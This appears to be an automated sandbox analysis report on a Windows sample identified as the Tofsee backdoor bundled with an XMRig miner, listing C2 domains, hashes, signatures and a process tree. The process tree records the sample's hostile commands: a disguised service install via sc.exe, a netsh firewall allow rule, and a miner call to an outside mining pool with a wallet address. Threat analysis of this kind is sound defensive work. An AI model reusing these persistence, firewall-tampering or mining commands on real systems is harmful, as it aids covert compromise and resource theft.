Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 03:58

General

  • Target
    file.exe
  • Size 304KB
  • Sample221220-ejhegabg51
  • SHA256 c754c792ea1bc355e56e2f73a43e140aac86a3ee932aa26232be9adc198f2e6a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dthqidxz\
      2⤵
        PID:4476
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\azyzakmp.exe" C:\Windows\SysWOW64\dthqidxz\
        2⤵
          PID:3436
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dthqidxz binPath= "C:\Windows\SysWOW64\dthqidxz\azyzakmp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dthqidxz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dthqidxz
          2⤵
          • Launches sc.exe
          PID:804
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1924
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 676
          2⤵
          • Program crash
          PID:3092
      • C:\Windows\SysWOW64\dthqidxz\azyzakmp.exe
        C:\Windows\SysWOW64\dthqidxz\azyzakmp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4612
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3740
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 520
          2⤵
          • Program crash
          PID:4812
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5112 -ip 5112
        1⤵
          PID:1776
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4612 -ip 4612
          1⤵
            PID:2352

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                azyzakmp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\azyzakmp.exe
                • Size 12.1MB
                • SHA256 951a522e7d5e36150b338765eed1be86131e2828ab447f61f50e03b664e6a40d
                • MD5 SHA1 SHA512 SSDEEP

                azyzakmp.exe

                • Path C:\Windows\SysWOW64\dthqidxz\azyzakmp.exe
                • Size 12.1MB
                • SHA256 951a522e7d5e36150b338765eed1be86131e2828ab447f61f50e03b664e6a40d
                • MD5 SHA1 SHA512 SSDEEP

                memory/1796-159-0x00000000025E0000-0x00000000025F0000-memory.dmp

                memory/1796-168-0x00000000031D0000-0x00000000031D7000-memory.dmp

                memory/1796-165-0x0000000007D00000-0x000000000810B000-memory.dmp

                memory/1796-162-0x00000000025F0000-0x00000000025F5000-memory.dmp

                memory/1796-156-0x00000000025D0000-0x00000000025D6000-memory.dmp

                memory/1796-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/1796-152-0x0000000000F60000-0x0000000000F75000-memory.dmp

                memory/1796-151-0x0000000000F60000-0x0000000000F75000-memory.dmp

                memory/1796-146-0x0000000000F60000-0x0000000000F75000-memory.dmp

                memory/3740-177-0x0000000001280000-0x0000000001371000-memory.dmp

                memory/3740-172-0x0000000001280000-0x0000000001371000-memory.dmp

                memory/4612-149-0x00000000006B5000-0x00000000006CB000-memory.dmp

                memory/4612-150-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/5112-143-0x0000000000729000-0x000000000073E000-memory.dmp

                memory/5112-132-0x0000000000729000-0x000000000073E000-memory.dmp

                memory/5112-134-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/5112-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/5112-144-0x0000000000400000-0x0000000000452000-memory.dmp